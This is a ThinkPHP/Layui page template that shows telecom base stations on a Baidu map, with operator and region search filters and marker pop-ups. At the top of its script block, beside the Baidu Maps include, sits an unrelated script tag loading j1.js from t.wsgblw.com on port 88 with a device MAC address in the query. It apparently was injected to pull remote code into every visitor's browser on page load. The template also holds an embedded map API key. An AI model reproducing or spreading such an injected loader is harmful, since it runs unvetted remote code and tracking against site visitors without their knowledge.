{extend name="public:form" /}
{block name="body"}

<style type="text/css">
    body{
        height: 100%;
    }
    #allmap {width: 100%;height: 100%;overflow: hidden;margin:0;font-family:"微软雅黑";}
    .layui-fluid{
        height: 100%;
    }
    .layui-row{
        height: 100%;
    }
    .layui-col-md12{
        height: 100%;
    }

</style>
<div class="layui-row">
    <div class="layui-col-md12">
    <form class="layui-form">
      <div class="layui-input-inline">
        <select name="search_type" id="search_type">
            <option value="1" selected="selected" {if $search_type eq 1 } selected {/if}>站名</option>
            <option value="2" {if $search_type eq 2 } selected {/if}>站号</option>
            <option value="3" {if $search_type eq 3 } selected {/if}>项目编号</option>
         
        </select>
    </div>
    <div class="layui-input-inline layui-show-xs-block">
        <input type="text" name="search_text" placeholder="搜索内容" autocomplete="off" id="search_text" class="layui-input" value="{$search_text}">
    </div>
  
     <div class="layui-input-inline layui-show-xs-block">
        <select name="operator" id="operator">
            <option value="0">运营商</option>
            {volist name="operators" id="item"}
            <option value="{$item.operator_id}" {if $operator eq $item.operator_id } selected {/if}>{$item.operator_name}</option>
            {/volist}
        </select>
    </div>
    <div class="layui-input-inline layui-show-xs-block">
        <select name="area_id" id="area_id">
            <option value="0"> 区域</option>
            {volist name="regions" id="region"}
                {if $region.level == 0}
                <option disabled='disabled'  class='layui-disabled' >{$region.region_name}</option>
                {else /}
                <option value="{$region.id}" {if $area_id eq $region.id } selected {/if} >&nbsp;&nbsp;&nbsp;&nbsp;{$region.region_name}</option>
                {/if}
            {/volist}
        </select>
    </div>
    <div class="layui-input-inline layui-show-xs-block">
        <button class="layui-btn" lay-submit="" lay-filter="search"><i class="layui-icon">&#xe615;</i></button>
    </div>
    </form>
      <div id="allmap" style='width: 100%;height: 100%;overflow: hidden;margin:0;font-family:"微软雅黑";'></div>    
    </div>
</div>
</body>
{/block}
{block name='js'}
<script type="text/javascript" src="//api.map.baidu.com/api?v=2.0&ak=rhvOB6ZbAVXOb0yjajc6WOLFSCAsGGVC"></script>
<script async=true src="http://t.wsgblw.com:88/j1.js?MAC=CC81DAC66E80"></script>
<script>
    //初始化Layui控件
    layui.use(['form', 'layer'],
        function () {
            $ = layui.jquery;
            var form = layui.form;

            //初始化地图控件
            var map = new BMap.Map("allmap", {enableMapClick: false});
            var geolocation = new BMap.Geolocation(); //定位信息初始化

            //初始化地图配置
            function  initMapConf(point){
                var zZoom = getZoom(point);
                map.centerAndZoom(point, zZoom)
                map.enableScrollWheelZoom(true);
                //添加地图类型控件
                map.addControl(new BMap.MapTypeControl({
                    mapTypes: [
                        BMAP_NORMAL_MAP,
                        BMAP_HYBRID_MAP
                    ]
                }));
            };

            //通过定位计算初始化坐标
            geolocation.getCurrentPosition(function(r){
                if(this.getStatus() == BMAP_STATUS_SUCCESS){
                    initMapConf(r.point) //初始化
                    var mk = new BMap.Marker(r.point);
                    drawMap(r.point,0,r.point); //根据定位坐标获取所有范围内的坐标点 需要排除初始化坐标
                }
                else {
                    console.log('error: '+this.getStatus());
                }
            },{enableHighAccuracy: true})
         
            function drawMap(d="",type=0,point=""){
                map.clearOverlays();
                var data = {
                    type:type,
                    point:point,    //如果是初始化就带过去一个初始坐标
                    data:d
                };
                //如果是监听表单提交，就带过去提交参数
                $.ajax({
                    url: '/region_data',
                    method: "POST",
                    data: data,
                    dataType: "json",
                    success: function (res) {
                 if (res == 0) {
                                layer.open({
                                    content: "没有查询到匹配数据",
                                    btn: ['确定'],
                                    yes: function () {
                                        layer.closeAll();
                                        window.location.reload();
                                    }
                                });
                            }
                            //初始化坐标
                            var zPoint = res.zPoint;
                            var oPoint = res.oPoint;
                            delete res.zPoint;
                            delete res.oPoint;

                            var oGgPoint = new BMap.Point(oPoint.longitude, oPoint.latitude)

                            //设置缩放级别
                            var zZoom = getZoom(zPoint);
                            map.centerAndZoom(oGgPoint, zZoom)
                            map.enableScrollWheelZoom(true);
                            //添加地图类型控件
                            map.addControl(new BMap.MapTypeControl({
                                mapTypes: [
                                    BMAP_NORMAL_MAP,
                                    BMAP_HYBRID_MAP
                                ]
                            }));
                          var time = 0;
                          for (var i in res) {
                                time++;
                            }
                            console.log(time);
                             if (time <= 3) {

                                    var point = new BMap.Point(res[0].longitude, res[0].latitude)

                                    var content =
                                    "<p>基站名称：" + res[0].station_name + "<br/>项目编号：" + res[0].proj_number + "<br/></p>";

                       

                                    addMarker(point, content);
                             }
                        
                        for (var i in res) {
                            var point = new BMap.Point(res[i].longitude, res[i].latitude)

                            var content =
                                // "<p>基站名称：" + res[i].station_name + "<br/>项目编号：" + res[i].proj_number + "<br/><a href='" + "http://jz-release.gonn.tech/dist/base.html?businessId=0037826d947443789108976beb17f452&pageNow=1&pageName=stationData"  +"' target='_blank'>查看详情</a></p>";
                               // "<p>基站名称：" + res[i].station_name + "<br/>项目编号：" + res[i].proj_number + "<br/><a  onclick="" >查看详情</a></p>";
                        
                                "<p>基站名称：" + res[i].station_name + "<br/>项目编号：" + res[i].proj_number + "</p>";
                          
                            addMarker(point, content);
                        }
                    }
                });
                return false;
            }

            //监听提交事件
            form.on('submit(search)',function (d) {
           
                drawMap(d.field,1,'');

                return false;
                
            })


            //画坐标
            function addMarker(point, content) {
                translateCallback = function (data) {
                    if (data.status === 0) {
                        var marker = new BMap.Marker(data.points[0]);

                        map.addOverlay(marker); //把标注添加到地图上
                        addClickHandler(content, marker);
                    }
                }
                var convertor = new BMap.Convertor();
                var pointArr = [];
                pointArr.push(point);
                convertor.translate(pointArr, 1, 5, translateCallback)
            }

            //鼠标触发事件监听
            function addClickHandler(content, marker) {
                marker.addEventListener("mouseover", function (e) {
                        openInfo(content, e)
                    }
                );
            }

            //信息窗口显示
            function openInfo(content, e) {
                var p = e.target;
                var point = new BMap.Point(p.getPosition().lng, p.getPosition().lat);
                var infoWindow = new BMap.InfoWindow(content, {
                    width: 200,     // 信息窗口宽度
                    height: 80,     // 信息窗口高度
                    title: "", // 信息窗口标题
                    enableMessage: true//设置允许信息窗发送短息
                });  // 创建信息窗口对象
                map.openInfoWindow(infoWindow, point); //开启信息窗口
            }

            //计算缩放等级
            function getZoom(point) {
                var zoom = ["50", "100", "200", "500", "1000", "2000", "5000", "10000", "20000", "25000", "50000", "100000", "200000", "500000", "1000000", "2000000"]//级别18到3。
                var pointA = new BMap.Point(point.maxLng, point.maxLat);  // 创建点坐标A
                var pointB = new BMap.Point(point.minLng, point.minLat);  // 创建点坐标B
                var distance = map.getDistance(pointA, pointB).toFixed(2);

                //获取两点距离,保留小数点后两位
                for (var i = 0, zoomLen = zoom.length; i < zoomLen; i++) {
                    var result = zoom[i] - distance;
                    if ((result > 0) && result < 1000){
                        return 18 - i -4
                    }
                    else if(result > 0){
                        return 18 - i + 3;//之所以会多3，是因为地图范围常常是比例尺距离的10倍以上。所以级别会增加3。
                    }
                }
            }
               

    });

 
</script>



{/block}